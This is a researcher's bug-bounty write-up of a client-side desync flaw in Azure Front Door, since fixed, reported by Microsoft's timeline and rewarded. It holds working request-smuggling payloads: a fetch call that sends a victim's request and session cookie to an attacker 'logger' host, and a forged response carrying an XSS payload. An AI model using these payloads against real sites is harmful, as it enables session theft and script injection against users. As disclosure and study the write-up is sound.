

Knocking on the Front Door (client side desync attack on Azure CDN)

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Content

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Knocking on the Front Door (client side desync attack on Azure CDN)

2023-07-31Jeti

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A few months ago, I embarked on a security bug hunt within the scope of a private program available through the Intigriti platform. During this endeavor, I encountered an intriguing anomaly while analyzing the redirect from HTTP to HTTPS traffic on a particular host.

In this write-up, I will delve into the short journey that started after uncovering this strange behavior, ultimately leading to the discovery of a Client-Side Desync vulnerability within one of Microsoft Azure's CDN solutions known as Front Door.

Discovery

It all started when I've sent following request to <http://redacted.com>:

```
POST / HTTP/1.1
Host: redacted.com
[...]
Content-Length: 34

GET / HTTP/1.1
Host: redacted.com
```

Why such a strange request? I was just playing around in Burp after reading fantastic research on [Browser Powered desync attacks](#) by James [@Albinowax](#)' Kettle.

And server responded with:

```
HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE

HTTP/1.1 307 Temporary Redirect
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Location: https://redacted.com/
x-azure-ref: 20230522T201945Z-...
X-Cache: CONFIG_NOCACHE
```

At first glance, it looks like there is nothing unusual. The server received two requests in the same (keep-alive) connection and responded twice with a 307 redirect from `http://` to `https://` address.

But... Wait... In reality, I just sent one POST request with a body! The size of the body was defined by the `Content-Length` header.

However, I received two responses. This indicates that the server happily ignored the `Content-Length` header and interpreted my request as two separate requests.

This looks like a perfect candidate for Client-Side Desync attack described in above-mentioned research.

Quoting [@Albinowax](#):

Classic desync or request smuggling attacks rely on intentionally malformed requests that ordinary browsers simply won't send. This limits these attacks to websites that use a front-end/back-end architecture. However, as we've learned from looking at CL.0

attacks, it's possible to cause a desync using fully browser-compatible HTTP/1.1 requests. Not only does this open up new possibilities for server-side request smuggling, it enables a whole new class of threat - client-side desync attacks.

A client-side desync (CSD) is an attack that makes the victim's web browser desynchronize its own connection to the vulnerable website. This can be contrasted with regular request smuggling attacks, which desynchronize the connection between a front-end and back-end server.

Upon conducting a more in-depth analysis, I discovered that this issue is not specific to the customer's solution but rather a general bug in the service utilized by the customer called [Azure Front Door](#).

Front Door

Azure Front Door service is a global, scalable content delivery network (CDN) and intelligent application delivery platform that provides secure and high-performance routing of web traffic to backend services.

Let's dive into some of the configurable options.

One of its features (enabled by default) is to redirect all HTTP traffic to HTTPS.

Microsoft Azure

Upgrade

[Home](#) > [jeti-victim](#) > [Front Door manager](#) >

Update route

default-route

A route maps your domains and matching URL path patterns to a specific origin group. [Learn more](#)

Name

default-route

Endpoint

jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net

Enable route

☒

Domains

Domains *

2 selected

[Add a new domain](#)

Patterns to match ⓘ

/*

/path

Accepted protocols *

HTTP and HTTPS

Redirect

☒ Redirect all traffic to use HTTPS

Origin group

Origin group *

default-origin-group

[Add a new origin group](#)

Origin path

Forwarding protocol *

☐ HTTP only

☐ HTTPS only

☒ Match incoming request

Caching

☐ Enable caching

Technically this is done by redirecting browser to `https://` address via 307 status code:

redirection

Target: <http://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net> HTTP/1

Request

Pretty

Raw

Hex

Hackvector

1

2

3

4

5

6

7

8

9

GET /x HTTP/1.1

Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36

Cache-Control: max-age=0

Response

Pretty

Raw

Hex

Render

Hackvector

1

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6

7

8

9

10

HTTP/1.1 307 Temporary Redirect

Date: Mon, 08 May 2023 06:55:44 GMT

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/x

x-azure-ref: 20230508T065544Z-hcvs6eavm163r5yqpm3fe3b0ug00000002q00000002bugw

X-Cache: CONFIG_NOCACHE

Server supports keep-alive connections:

redirection		Target: http://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net	
Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 GET /x HTTP/1.1 2 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 3 Accept-Encoding: gzip, deflate 4 Accept: */* 5 Accept-Language: en-US;q=0.9,en;q=0.8 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 7 Cache-Control: max-age=0 8 9 GET /y HTTP/1.1 10 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 11 Accept-Encoding: gzip, deflate 12 Accept: */* 13 Accept-Language: en-US;q=0.9,en;q=0.8 14 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 15 Cache-Control: max-age=0 16 17 </pre>		<pre> 1 HTTP/1.1 307 Temporary Redirect 2 Date: Mon, 08 May 2023 06:59:58 GMT 3 Content-Type: text/html 4 Content-Length: 0 5 Connection: keep-alive 6 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/x 7 x-azure-ref: 20230508T065958Z-1uysfafz0x2az42kyuk1z1huw00000002vg00000000gk65 8 X-Cache: CONFIG_NOCACHE 9 10 HTTP/1.1 307 Temporary Redirect 11 Date: Mon, 08 May 2023 06:59:58 GMT 12 Content-Type: text/html 13 Content-Length: 0 14 Connection: keep-alive 15 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/y 16 x-azure-ref: 20230508T065958Z-1uysfafz0x2az42kyuk1z1huw00000002vg00000000gk66 17 X-Cache: CONFIG_NOCACHE 18 19 </pre>	

And redirects also POST requests:

redirection		Target: http://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net	
Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /x HTTP/1.1 2 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 3 Accept-Encoding: gzip, deflate 4 Accept: */* 5 Accept-Language: en-US;q=0.9,en;q=0.8 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 7 Content-Length: 0 8 Cache-Control: max-age=0 9 10 GET /y HTTP/1.1 11 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 12 Accept-Encoding: gzip, deflate 13 Accept: */* 14 Accept-Language: en-US;q=0.9,en;q=0.8 15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 16 Cache-Control: max-age=0 17 18 </pre>		<pre> 1 HTTP/1.1 307 Temporary Redirect 2 Date: Mon, 08 May 2023 07:01:33 GMT 3 Content-Type: text/html 4 Content-Length: 0 5 Connection: keep-alive 6 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/x 7 x-azure-ref: 20230508T070133Z-tqdyr8nhx920v82b8q4wtarnk00000003000000000aegz 8 X-Cache: CONFIG_NOCACHE 9 10 HTTP/1.1 307 Temporary Redirect 11 Date: Mon, 08 May 2023 07:01:33 GMT 12 Content-Type: text/html 13 Content-Length: 0 14 Connection: keep-alive 15 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/y 16 x-azure-ref: 20230508T070133Z-tqdyr8nhx920v82b8q4wtarnk00000003000000000aeh0 17 X-Cache: CONFIG_NOCACHE 18 19 </pre>	

But the problem is that it completely ignores Content-Length header:

redirection		Target: http://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net	
Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /x HTTP/1.1 2 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 3 Accept-Encoding: gzip, deflate 4 Accept: */* 5 Accept-Language: en-US;q=0.9,en;q=0.8 6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 7 Content-Length: 311 8 Cache-Control: max-age=0 9 10 GET /y HTTP/1.1 11 Host: jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net 12 Accept-Encoding: gzip, deflate 13 Accept: */* 14 Accept-Language: en-US;q=0.9,en;q=0.8 15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36 16 Cache-Control: max-age=0 17 18 </pre>		<pre> 1 HTTP/1.1 307 Temporary Redirect 2 Date: Mon, 08 May 2023 07:03:01 GMT 3 Content-Type: text/html 4 Content-Length: 0 5 Connection: keep-alive 6 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/x 7 x-azure-ref: 20230508T070301Z-brzpzvubq90u5brn9twvt9ybv400000002q000000002php8 8 X-Cache: CONFIG_NOCACHE 9 10 HTTP/1.1 307 Temporary Redirect 11 Date: Mon, 08 May 2023 07:03:01 GMT 12 Content-Type: text/html 13 Content-Length: 0 14 Connection: keep-alive 15 Location: https://jeti-victim-bebeg2dccwh5gzcq.z01.azurefd.net/y 16 x-azure-ref: 20230508T070301Z-brzpzvubq90u5brn9twvt9ybv400000002q000000002php9 17 X-Cache: CONFIG_NOCACHE 18 19 </pre>	

What looks like two requests is in fact one request sent by the web browser where yellow box contains data for POST request (Content-Length header points to the end of the data).

But Front Door server ignores Content-Length header and treats it as two separate requests.

Another interesting design feature of Front Door (not a bug of course) is that all customer servers powered by Front Door service are available under one IP address and are also available in one keep-alive connection (this is a CDN service, right?). So this is perfectly valid set of requests sent in one TCP connection:

The screenshot displays the browser's developer tools with the 'Request' and 'Response' tabs selected. The 'Request' tab shows a sequence of requests: a POST to `/x` on `http://azure-victim.jeti.pw` and a GET to `/y` on `http://azure-attacker.jeti.pw`. The 'Response' tab shows the corresponding responses: a 307 Temporary Redirect to `https://azure-victim.jeti.pw/x` and a 404 Not Found response with HTML content.

```
Request
1 POST /x HTTP/1.1
2 Host: azure-victim.jeti.pw
3 Accept-Encoding: gzip, deflate
4 Accept: */*
5 Accept-Language: en-US;q=0.9,en;q=0.8
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
7 Content-Length: 289
8 Cache-Control: max-age=0
9
10 GET /y HTTP/1.1
11 Host: azure-attacker.jeti.pw
12 Accept-Encoding: gzip, deflate
13 Accept: */*
14 Accept-Language: en-US;q=0.9,en;q=0.8
15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
16 Cache-Control: max-age=0
17
18

Response
1 HTTP/1.1 307 Temporary Redirect
2 Date: Mon, 08 May 2023 07:52:50 GMT
3 Content-Type: text/html
4 Content-Length: 0
5 Connection: keep-alive
6 Location: https://azure-victim.jeti.pw/x
7 x-azure-ref: 20230508T075250Z-ezeayzft1x0892zf3rcyy0txaw00000002y00000001w12s
8 X-Cache: CONFIG_NOCACHE
9
10 HTTP/1.1 404 Not Found
11 Date: Mon, 08 May 2023 07:52:50 GMT
12 Content-Type: text/html
13 Content-Length: 580
14 Connection: keep-alive
15 x-azure-ref: 20230508T075250Z-ezeayzft1x0892zf3rcyy0txaw00000002y00000001w12w
16 X-Cache: CONFIG_NOCACHE
17
18 <html>
19 <head>
20 <title>
21 404 Not Found
22 </title>
23 </head>
24 <body bgcolor="white">
25 <center>
26 <h1>
27 404 Not Found
28 </h1>
29 </center>
30 <hr>
31 <center>
32 nginx/1.14.0 (Ubuntu)
33 </center>
34 </body>
35 </html>
```

NOTE 1: *azure-victim.jeti.pw* and *azure-attacker.jeti.pw* are two separate web servers of two separate customers (I've used custom domains for better visibility).

NOTE 2: *azure-attacker.jeti.pw* server doesn't have automatic HTTPS redirects turned on that is why it doesn't respond with redirect (this might be important for various exploitation techniques).

Exploit

A CSD attack starts with the victim visiting the attacker's website, which then makes their browser send two cross-domain requests to the vulnerable website. The first request is crafted to desync the browser's connection and make the second request trigger a harmful request / response.

There are multiple ways how attacker can exploit this desynchronization issue. I'll focus on two possible ways.

Stealing requests

Let's imagine that, upon visit from a victim, attacker's website sends a request (e.g. using `JavaScript fetch API`):

```
fetch('http://azure-victim.jeti.pw/x', {
  method: 'POST',
  body: "POST /logger HTTP/1.1\r\nHost: azure-attacker.jeti.pw\r\nContent-Length: 200\r\n\r\n",
  mode: 'no-cors',
  redirect: 'follow',
  credentials: 'include'
})
```



Front Door service treats it as two separate requests where the second one is a POST request with some body attached (200 bytes long).

NOTE: please remember that *azure-attacker.jeti.pw* is configured to not to redirect automatically so the server checks `Content-Length` in this case.

As a request body is missing server will wait for 200 bytes of data to finish the request. All attacker needs to do is to redirect victim user to the victim's website:

```
location = 'http://azure-victim.jeti.pw/'
```

Victim's browser will send another GET request (most of the time browser will re-use the same connection). Both requests will look like this:

Request

```
Pretty Raw Hex Hackvortor
1 POST /x HTTP/1.1
2 Host: azure-victim.jeti.pw
3 Content-Length: 74
4
5 POST /logger HTTP/1.1
6 Host: azure-attacker.jeti.pw
7 Content-Length: 200
8
9 GET / HTTP/1.1
10 Host: azure-victim.jeti.pw
11 Accept-Encoding: gzip, deflate
12 Accept: */*
13 Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c
14 Accept-Language: en-US;q=0.9,en;q=0.8
15 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
    Chrome/112.0.5615.138 Safari/537.36
16 Connection: keep-alive
17 Cache-Control: max-age=0
18
19
```

Server received it's 200 bytes of data and sent POST request to <http://azure-attacker.jeti.pw/logger> with following **data**:

```
GET / HTTP/1.1
Host: azure-victim.jeti.pw
Accept-Encoding: gzip, deflate
Accept: */*
Cookie: PHPSESSID=uhogavedhcduei7qlfh1eplf7c
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/112.0.5615.138 Safari/537.36
Connection: keep-alive
Cache-Control: max-age=0
```

And effectively attacker had stolen the session cookie of the victim.

“Universal” XSS by forging responses

Another way of exploiting a CSD vulnerability is to forge responses to the victim's requests. Let's have a look at following request sent by the browser when victim visits malicious website (sent via `fetch API`):

```
Request
Pretty Raw Hex Hackvortor
1 POST / HTTP/1.1
2 Host: azure-victim.jeti.pw
3 Content-Length: 48
4
5 GET /xss HTTP/1.1
6 Host: azure-attacker.jeti.pw
7
8

Response
Pretty Raw Hex Render Hackvortor
1 HTTP/1.1 307 Temporary Redirect
2 Date: Mon, 08 May 2023 10:13:43 GMT
3 Content-Type: text/html
4 Content-Length: 0
5 Connection: keep-alive
6 Location: https://azure-victim.jeti.pw/
7 x-azure-ref: 20230508T101343Z-3ka2v8f5z11bx3e68c1kn4b400000000ug00000001v2bb
8 X-Cache: CONFIG_NOCACHE
9
10 HTTP/1.1 200 OK
11 Date: Mon, 08 May 2023 10:13:43 GMT
12 Content-Type: text/html
13 Content-Length: 36
14 Connection: keep-alive
15 Last-Modified: Sat, 06 May 2023 21:09:23 GMT
16 ETag: "6456c203-24"
17 Access-Control-Allow-Origin: *
18 Access-Control-Allow-Credentials: true
19 Access-Control-Allow-Methods: GET, POST, OPTIONS
20 Access-Control-Allow-Headers:
  DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type
21 x-azure-ref: 20230508T101343Z-3ka2v8f5z11bx3e68c1kn4b400000000ug00000001v2bb
22 X-Cache: CONFIG_NOCACHE
23 Accept-Ranges: bytes
24
25 <svg/onload=alert(document.domain)>
26
```

Front Door service again treats it as two separate requests and sends both to respective customer websites. And receives 2 separate responses.

But the victim's browser sent only one request so it expects only one response (307 redirect in our case). Second part stays in the connection pool waiting for another request to match (because of the HTTP pipelining).

When attacker redirects a victim, browser makes another request.

But luckily for an attacker, the browser already have a response waiting in a connection pool (in our example response contains XSS payload that will be triggered in the context of website where victim was redirected).

As the attacker can redirect a victim to any Front Door powered website and forge the response I think this can be called a "Universal" XSS :)

Timeline

| Date | Action | | 8 May 2023 | Reported to Microsoft | | 27 June 2023 | Vulnerability fixed | | 5 July 2023 | Bounty paid (\$7500) | |